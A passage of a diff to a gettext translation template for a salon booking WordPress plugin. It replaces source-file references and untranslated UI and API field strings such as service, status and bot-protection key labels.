System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1555\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1768\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1555\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1768\n+msgid \"The resource name.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:199\n-msgid \"Could not download version.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:562\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:692\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:629\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:646\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:562\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:692\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:629\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:646\n+msgid \"The saturday.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:208\n-msgid \"Invalid download URL received.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:582\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:536\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:582\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:536\n+msgid \"The secondary display mode for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:218\n-msgid \"Could not download plugin file.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:573\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:527\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:573\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:527\n+msgid \"The secondary for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:245\n-msgid \"Could not extract plugin files.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:56\n+msgid \"\"\n+\"The secret key is used to verify submissions on your server (private key)\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:279\n-msgid \"Plugin successfully rolled back to previous version.\"\n+#. %s will be replaced by the time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:70\n+#, php-format\n+msgid \"The service for %s is currently full\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUserRole\u002FSalonWorker.php:72, src\u002FSLN\u002FUserRole\u002FSalonWorker.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:81\n-msgid \"Sln worker\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1516\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1729\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1516\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1729\n+msgid \"The service id.\"\n msgstr \"\"\n \n-#. translators: %1$d will be replaced by the left hours, %2$d will be replaced by the left minutes\n-#: src\u002FSLN\u002FWrapper\u002FBooking.php:556, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:556, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:556, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:544, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:544, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:556\n-msgid \"%1$d hours and %2$d minutes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1490\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1703\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1490\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1703\n+msgid \"The service item.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FWrapper\u002FBooking.php:641, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:641, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:629, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:629, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:641\n-msgid \" hours\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1524\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1737\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1524\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1737\n+msgid \"The service name.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FWrapper\u002FBooking.php:642, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:642, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:630, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:630, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:642\n-msgid \"1 day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1529\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1742\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1529\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1742\n+msgid \"The service price.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_booking_total_amount_row.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_booking_total_amount_row.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_booking_total_amount_row.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_booking_total_amount_row.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_booking_total_amount_row.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_booking_total_amount_row.php:7\n-msgid \"Discount applied\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:638\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:592\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:638\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:592\n+msgid \"The services categories ids for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:15\n-msgid \"This is a\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1486\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1699\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1486\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1699\n+msgid \"The services for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:44\n-msgid \"Code to be used\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:481\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:548\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:339\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:481\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:548\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:339\n+msgid \"The services ids for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:49\n-msgid \"Copy this code and give it to your customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:42\n+msgid \"The site key is used in your booking form (public key)\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:57\n-msgid \"Automatic discount settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1496\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1709\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1496\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1709\n+msgid \"The start at.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:58\n-msgid \"Automatically apply when the rules are met\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1588\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1588\n+msgid \"The status for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:78\n-msgid \"Reservations collected by a single customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:532\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:662\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:599\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:616\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:532\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 